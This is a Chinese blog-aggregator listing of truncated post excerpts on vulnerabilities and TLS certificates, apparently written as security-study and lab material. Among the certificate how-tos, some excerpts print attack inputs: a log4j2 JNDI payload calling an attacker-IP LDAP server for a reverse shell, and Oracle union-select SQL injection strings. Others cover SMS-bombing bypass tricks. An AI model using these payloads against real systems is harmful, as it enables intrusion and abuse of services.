漏洞 证书cnvd
keytool 生成 https 证书
C:\JAVADEV>keytool -genkey -alias webserver -validity 365 -storetype PKCS12 -keyalg RSA -keystore C:\JAVADEV\apache-tomcat-7.0.109\conf\https.keystore ......
短信轰炸漏洞绕过的多种方法技巧
在测试甲方业务或者挖 SRC 等业务的时候，经常碰到发送短信验证的地方，我们可以联想到的就是任意用户登陆、短信轰炸、任意用户修改密码等逻辑性的漏洞， 简单的漏洞也是需要清晰的思维分析，拿几个短信轰炸多个绕过案例分享，高危挖不动低危拿来凑。1. 参数污染绕过参数污染，就是说后台发送短信的时候会取数字那 ......
jumpserver 远程执行漏洞分析和复现
0 简介JumpServer是一款开源的堡垒机，是符合4A规范的运维安全审计系统，通俗来说就是跳板机。2021年1月15日，JumpServer发布安全更新，修复了一处远程命令执行漏洞。由于JumpServer某些接口未做授权限制，攻击者可构造恶意请求获取敏感信息，或者执行相关操作控制其中所有机器， ......
Netatalk CVE-2018-1160 复现及漏洞利用思路
author:cxing Date:2023年4月6日 introduction：Netatalk 是一个** Apple Filing Protocol** (AFP) 的开源实现。 它为 Unix 风格系统提供了与 Macintosh 文件共享的功能。AFP的数据流量包格式为DSI(Data S ......
Windows 快速查看网站对应SSL证书有效期
以chrome浏览器为例，其它浏览器步骤大同小异。 方法1： 使用chrome浏览器打开网站后，F12进入开发者模式，点击【安全】标签下的【查看证书】即可： 方法2： 使用chrome浏览器打开网站后，点击地址栏旁边的小锁图标，再依次进行如下点击即可查看当前网站SSL证书有效期： ......
《渗透测试》信息打点-公众号服务&Github监控&供应链&网盘泄漏&证书图标邮箱资产 2023 Day21
#微信公众号-获取&三方服务 1、获取微信公众号途径 https://weixin.sogou.com/ 2、微信公众号有无第三方服务 #Github监控-开发&配置&源码 目标中开发人员或者托管公司上传的项目存在源码泄漏或配置信息（密码密匙等），人员数据库等敏感信息，找到多个脆弱点。 1、人员& ......
简析反序列化漏洞
反序列化漏洞 反序列化漏洞一、漏洞原理相关概念什么是序列化与反序列化？漏洞成因常见魔术方法总结二、漏洞危害三、漏洞出现场景四、检测方法五、防御六、漏洞复现 一、漏洞原理 相关概念 什么是序列化与反序列化？ 序列化：把对象的状态信息转换为可以存储或传输的形式的过程，一般是将对象转换为字节流。在进行序列 ......
堆块chunk介绍及unlink漏洞利用原理
堆块chunk介绍及unlink漏洞利用原理 chunk结构 当进程动态分配内存时，系统会在堆中创建一个chunk（堆块）。chunk包含chunk头和chunk体两部分 chunk头中有两个字段： prev_size：前一个chunk的size，前指的之前分配的内存，也就是低地址相邻的chunk ......
小皮1-click漏洞的代码审计学习笔记
漏洞起源于前段时间比较火的小皮 1-click 漏洞，用户名登录处缺少过滤，导致可以直接构造恶意 payload 实现存储型 XSS ，结合小皮本身所具有的计划任务，XSS + CSRF 实现了 RCE 。 因为用户名登录处缺少过滤，所以可以尝试 SQL 漏洞。 ......
golang CVE-2016-2183漏洞，https需要添加tls设置加密算法CipherSuites白名单，将弱加密算法DES和3DES去掉。
golang CVE-2016-2183漏洞，https需要添加tls设置加密算法白名单，将弱加密算法DES和3DES去掉。 服务端样例代码 package main import ( "crypto/tls" "fmt" "net/http" ) func handler(writer http. ......
nginx 安装SSL证书
/usr/local/nginx/sbin/nginx -V 看一下是否有 with-http_ssl_module 模块 # HTTPS server user nginx nginx;worker_processes 8;#error_log logs/error.log;#error_log ......
文件包含漏洞
文件包含渗透 1.项目实验环境 2.原理及危害 文件包含漏洞: 即File Inclusion ,意思是文件包含(漏洞)，是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数( include() , require()和include_once() ，requi ......
文件上传漏洞
文件上传漏洞原理 1、文件上传( File Upload )是大部分web应用都具备的功能，例如用户上传附件、修改头像、分享图片/视频等 2、正常的文件一般是文档、 图片、视频等, Web应用收集之后放入后台存储,需要的时候再调用出来返回 3、如果恶意文件如PHP、ASP等执行文件绕过Web应用,并 ......
怎么在springboot中配置https证书的详细教程
前言 由于小程序需要https,然后之前申请的域名过期了,用了两年由于忘记续费要将域名赎回居然要1200.... 想了一下之前还有另一个域名,干脆就用这个域名弄个二级域名出来,所以二级域名建立出来后需要在springboot项目上开启https访问 废话不多说,开整 在阿里云新建二级域名 这个应该不 ......
kubernetes证书介绍
kubernetes证书介绍 不管是二进制搭建还是kubeadm安装kubernetes集群都需要有证书，因为在Kubernetes 集群中通过证书才能进行基于 TLS 的身份验证；在Kubernetes 的组件之间进行通信时，数字证书的验证是在协议层面通过 TLS 完成的，除了需要在建立通信时提供 ......
【备忘录】手动生成ssl证书v3：CAKey、CACert、req、serverKey、serverCert
#openssl生成CA密钥、CA请求文件和CAv3证书 openssl genrsa -out ca-key.pem 2048 openssl req -new -key ca-key.pem -out ca-req.pem openssl x509 -req -days 36500 -sha25 ......
Kubeadm安装k8s集群升级100年证书时报错：Unable to connect to the server: EOF：求解决方法.
报错信息： 使用命令时： Kubelet服务报错： 报错情况，在更新完k8s100年证书的时候，到最后重新启动kubelet服务的时候，服务是可以重新启动的，但是kubectl的命令是无法使用的，会等好长时间然后报出上面图片第一个的错误。还请各位大佬给出一些解决办法，实在是劳烦各位大佬了，自己找了好 ......
04_靶机Kioptrix1.2：CMS漏洞利用，使用ht编辑器修改sudoers文件提权，mysql查询
发现主机后进行目录扫描，发现登录口标注了CMS的版本，查看该类型CMS有没有漏洞，针对漏洞去github搜索脚本，拿到脚本后运行得到靶机的初级Shell,根据靶机内的文件内容指示使用ht编辑器，利用编辑器去修改用户的权限然后提权，拿到root权限结束 ......
如何申请iOS推送证书p12文件并配置极光推送平台
编辑切换为居中 添加图片注释，不超过 140 字（可选） 极光推送平台需要上传配置开发测试的iOS推送证书（开发环境）和上架到App Store的iOS推送证书（生产环境）。以下是申请这两个环境的推送证书p12文件的教程： 创建APP ID时勾选推送服务，如果已经有APP ID并开启了推送权限， ......
jdk的keytool工具生成证书
1.生成证书 keytool -genkeypair -alias serverkey -keypass 111111 -storepass 111111 -dname “C=CN,ST=SD,L=QD,O=haier,OU=dev,CN=haier.com” -keyalg RSA -keysiz ......
log4j2漏洞复现
【1】漏洞原理：Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议 即可)【2】复现：（1）启动靶场环境：（2）反弹shell：http://靶机ip:8983/solr/admin/cores?action=${jndi:ldap://攻击机ip:1389/Ba ......
证书过期的隐蔽错误
几周前偶然进入译卷，发现里面的题目训练部分出错了，提示是 你现在无法访问 yijuan.xyz,因为网站使用的是 HSTS。网络错误和攻击通常是暂时的，因此该网页以后可能会恢复。 通过直接访问设置的NodeJs开启的端口以及利用postman发送请求，均显示该网页证书已过期。 一查看证书时间，好家伙 ......
数字证书编码ASN.1
一、任务详情 参考附件中图书p223 中13.2的实验指导，完成DER编码 序列号=1174（0x0496），证书签发者 DN="CN=Virtual CA，C=CN"，证书持有者DN="CN=你的名字拼音， OU=Person，C=CN"，证书有效期=20200222000000-20220222 ......
生成ssl证书
生产证书步骤 参考地址1：https://www.cnblogs.com/luxiaoyao/p/10034009.html#:~:text=windows%E4%B8%8B%E7%94%A8nginx%E9%85%8D%E7%BD%AEhttps%E6%9C%8D%E5%8A%A1%E5%99%A ......
《渗透测试》WEB攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等 2022 Day26
#Oracle 参考：https://www.cnblogs.com/peterpan0707007/p/8242119.html 测回显：and 1=2 union select '1','2' from dual 爆库：and 1=2 union select '1',(select table ......
Docker API 未授权访问漏洞
因为docker赋有远程的远程控制，docker开放了一个tcp端口2375，如果没有限制访问的话，攻击者就会通过这个端口来通过docker未授权来获取服务器权限。 ......
数仓安全测试之SSRF漏洞
摘要：SSRF (Server-Side Request Forgery，服务器端请求伪造)是指由攻击者构造请求，然后利用服务器的漏洞以服务端的身份向内网发送请求对内网发起攻击。 本文分享自华为云社区《GaussDB(DWS)安全测试之SSRF漏洞》，作者： ACBD。 1. 什么是SSRF漏洞 S ......
Java代码忽略https证书：解决No subject alternative names present问题 HttpURLConnection https请求
Java代码忽略https证书：解决No subject alternative names present问题 import org.slf4j.Logger; import org.slf4j.LoggerFactory; import javax.net.ssl.*; import java. ......
PfSense pfBlockerNG 未授权RCE漏洞（CVE-2022-31814）
PfSense pfBlockerNG 未授权RCE漏洞（CVE-2022-31814） 概述 PfSense系统的插件pfBlockerNG引起的未授权RCE漏洞 pfSense是一个基于FreeBSD操作系统开发的防火墙和路由器软件 FreeBSD 是一种类UNIX操作系统 pfBlockerN ......